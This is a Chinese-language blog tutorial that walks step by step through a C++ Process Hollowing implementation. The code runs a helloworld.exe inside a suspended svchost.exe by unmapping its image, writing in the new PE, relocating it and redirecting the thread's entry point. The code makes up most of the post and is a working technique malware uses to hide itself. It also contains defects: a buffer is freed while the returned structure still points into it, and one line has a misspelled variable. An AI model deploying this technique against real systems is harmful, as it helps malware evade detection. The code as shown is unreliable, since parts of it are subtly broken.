今天要來介紹的是 Process Hollowing,這個技巧很常被惡意程式使用,開源專案也不少,所以我挑選了其中一個進行分析
主要可以分為這幾個步驟:
在 CreateProcess 時加上 CREATE_SUSPENDED 可以讓 process 建立完成而 thread 暫停執行,也就是上一篇 Process Creation 的 Stage 6
void CreateHollowedProcess(char* pDestCmdLine, char* pSourceFile)
{
printf("Creating process\r\n");
LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();
CreateProcessA
(
0,
pDestCmdLine,
0,
0,
0,
CREATE_SUSPENDED,
0,
0,
pStartupInfo,
pProcessInfo
);
if (!pProcessInfo->hProcess)
{
printf("Error creating process\r\n");
return;
}
取得剛剛建好的 process 的 PEB 和整個在 memory Image
PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);
PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress);
先透過 NtQueryInformationProcess 取得 PEB 在 memory 中的位址,接著分別透過 ReadRemotePEB 和 ReadRemoteImage 讀取 PEB 和 Image
DWORD FindRemotePEB(HANDLE hProcess)
{
if(!ntQueryInformationProcess)
{
if(!InitializeNtQueryInformationProcess())
return 0;
}
PROCESS_BASIC_INFORMATION basicInfo = {0};
DWORD dwReturnLength = 0;
ntQueryInformationProcess(hProcess, 0, &basicInfo, sizeof(basicInfo), &dwReturnLength);
return basicInfo.PebBaseAddress;
}
PEB* ReadRemotePEB(HANDLE hProcess)
{
DWORD dwPEBAddress = FindRemotePEB(hProcess);
if(!dwPEBAddress)
return nullptr;
PEB* pPEB = new PEB();
if(!ReadProcessMemory(hProcess, (LPCVOID)dwPEBAddress, pPEB, sizeof(PEB), nullptr))
{
delete pPEB;
return nullptr;
}
return pPEB;
}
PLOADED_IMAGE ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress)
{
BYTE* lpBuffer = new BYTE[BUFFER_SIZE];
if(!ReadProcessMemory(hProcess, lpImageBaseAddress, lpBuffer, BUFFER_SIZE, nullptr))
{
delete[] lpBuffer;
return nullptr;
}
PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)lpBuffer;
PLOADED_IMAGE pImage = new LOADED_IMAGE();
pImage->FileHeader = (PIMAGE_NT_HEADERS32)(lpBuffer + pDOSHeader->e_lfanew);
pImage->NumberOfSections = pImage->FileHeader->FileHeader.NumberOfSections;
pImage->Sections = (PIMAGE_SECTION_HEADER)(lpBuffer + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS32));
delete[] lpBuffer; // Avoid memory leak
return pImage;
}
作者用了 LOADED_IMAGE 的結構保存了 FileHeader、NumberOfSections 和 Sections
下一步是將 malicious 的 PE 載入,並且先準備好要替換 PEB 和 Image 的內容
printf("Opening source image\r\n");
HANDLE hFile = CreateFileA
(
pSourceFile,
GENERIC_READ,
0,
0,
OPEN_ALWAYS,
0,
0
);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("Error opening %s\r\n", pSourceFile);
return;
}
DWORD dwSize = GetFileSize(hFile, 0);
PBYTE pBuffer = new BYTE[dwSize];
DWORD dwBytesRead = 0;
ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);
CloseHandle(hFile);
PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer);
PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer);
GetLoadedImage 和前面在做的事一樣,用 LOADED_IMAGE 的結構保存了 FileHeader、NumberOfSections 和 Sections
inline PLOADED_IMAGE GetLoadedImage(DWORD dwImageBase)
{
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dwImageBase;
PIMAGE_NT_HEADERS32 pNTHeaders = GetNTHeaders(dwImageBase);
PLOADED_IMAGE pImage = new LOADED_IMAGE();
pImage->FileHeader =
(PIMAGE_NT_HEADERS32)(dwImageBase + pDosHeader->e_lfanew);
pImage->NumberOfSections =
pImage->FileHeader->FileHeader.NumberOfSections;
pImage->Sections =
(PIMAGE_SECTION_HEADER)(dwImageBase + pDosHeader->e_lfanew +
sizeof(IMAGE_NT_HEADERS32));
return pImage;
}
接著將 PEB→ImageBaseAddress unmap 並寫入 malicious PE 的 image 和 sections,也計算 malicious PE 和要載入到的 ImageBaseAddress 之間的差距,之後會以此做 relocation
DWORD dwResult = NtUnmapViewOfSection
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress
);
if (dwResult)
{
printf("Error unmapping section\r\n");
return;
}
printf("Allocating memory\r\n");
PVOID pRemoteImage = VirtualAllocEx
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress,
pSourceHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!pRemoteImage)
{
printf("VirtualAllocEx call failed\r\n");
return;
}
DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress -
pSourceHeaders->OptionalHeader.ImageBase;
printf
(
"Source image base: 0x%p\r\n"
"Destination image base: 0x%p\r\n",
pSourceHeaders->OptionalHeader.ImageBase,
pPEB->ImageBaseAddress
);
printf("Relocation delta: 0x%p\r\n", dwDelta);
SourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress;
printf("Writing headers\r\n");
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress,
pBuffer,
pSourceHeaders->OptionalHeader.SizeOfHeaders,
0
))
{
printf("Error writing process memory\r\n");
return;
}
for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
{
if (!pSourceImage->Sections[x].PointerToRawData)
continue;
PVOID pSectionDestination =
(PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress);
printf("Writing %s section to 0x%p\r\n", pSourceImage->Sections[x].Name, pSectionDestination);
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pSectionDestination,
&pBuffer[pSourceImage->Sections[x].PointerToRawData],
pSourceImage->Sections[x].SizeOfRawData,
0
))
{
printf ("Error writing process memory\r\n");
return;
}
}
為何需要自己做relocation?因為更換 PEB 的 Image 會導致後面載入的 Image 內的記憶體位址需要根據當前 PEB→ImageBaseAddress 進行校正
if (dwDelta)
for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
{
char* pSectionName = ".reloc";
if (memcmp(pSourceImage->Sections[x].Name, pSectionName, strlen(pSectionName)))
continue;
printf("Rebasing image\r\n");
DWORD dwRelocAddr = pSourceImage->Sections[x].PointerToRawData;
DWORD dwOffset = 0;
IMAGE_DATA_DIRECTORY relocData =
pSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
while (dwOffset < relocData.Size)
{
PBASE_RELOCATION_BLOCK pBlockheader =
(PBASE_RELOCATION_BLOCK)&pBuffer[dwRelocAddr + dwOffset];
dwOffset += sizeof(BASE_RELOCATION_BLOCK);
DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize);
PBASE_RELOCATION_ENTRY pBlocks =
(PBASE_RELOCATION_ENTRY)&pBuffer[dwRelocAddr + dwOffset];
for (DWORD y = 0; y < dwEntryCount; y++)
{
dwOffset += sizeof(BASE_RELOCATION_ENTRY);
if (pBlocks[y].Type == 0)
continue;
DWORD dwFieldAddress =
pBlockheader->PageAddress + pBlocks[y].Offset;
DWORD dwBuffer = 0;
ReadProcessMemory
(
pProcessInfo->hProcess,
(PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
&dwBuffer,
sizeof(DWORD),
0
);
//printf("Relocating 0x%p -> 0x%p\r\n", dwBuffer, dwBuffer - dwDelta);
dwBuffer += dwDelta;
BOOL bSuccess = WriteProcessMemory
(
pProcessInfo->hProcess,
(PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
&dwBuffer,
sizeof(DWORD),
0
);
if (!bSuccess)
{
printf("Error writing memory\r\n");
continue;
}
}
}
break;
}
最後在恢復 thread 執行前,將 thread context 中要執行的 entrypoint 換成 malicious PE 的。
DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress +
pSourceHeaders->OptionalHeader.AddressOfEntryPoint;
LPCONTEXT pContext = new CONTEXT();
pContext->ContextFlags = CONTEXT_INTEGER;
printf("Getting thread context\r\n");
if (!GetThreadContext(pProcessInfo->hThread, pContext))
{
printf("Error getting context\r\n");
return;
}
pContext->Eax = dwEntrypoint;
printf("Setting thread context\r\n");
if (!SetThreadContext(pProcessInfo->hThread, pContext))
{
printf("Error setting context\r\n");
return;
}
printf("Resuming thread\r\n");
if (!ResumeThread(pProcessInfo->hThread))
{
printf("Error resuming thread\r\n");
return;
}
printf("Process hollowing complete\r\n");
}
我們就成功的將一個 process 的內容調換成 malicious PE 的內容!
這個專案想要透過 Process Hollowing 將本來該執行 svchost.exe 的 process 換成執行 helloworld.exe
int _tmain(int argc, _TCHAR* argv[])
{
char* pPath = new char[MAX_PATH];
GetModuleFileNameA(0, pPath, MAX_PATH);
pPath[strrchr(pPath, '\\') - pPath + 1] = 0;
strcat(pPath, "helloworld.exe");
CreateHollowedProcess
(
"svchost",
pPath
);
system("pause");
return 0;
}
執行結果:
helloworld.exe 成功地被執行
然而在 Process Explorer 看到的卻是 svchost.exe 而不是 helloworld.exe
下一篇,我要介紹的是 Process Doppelganging!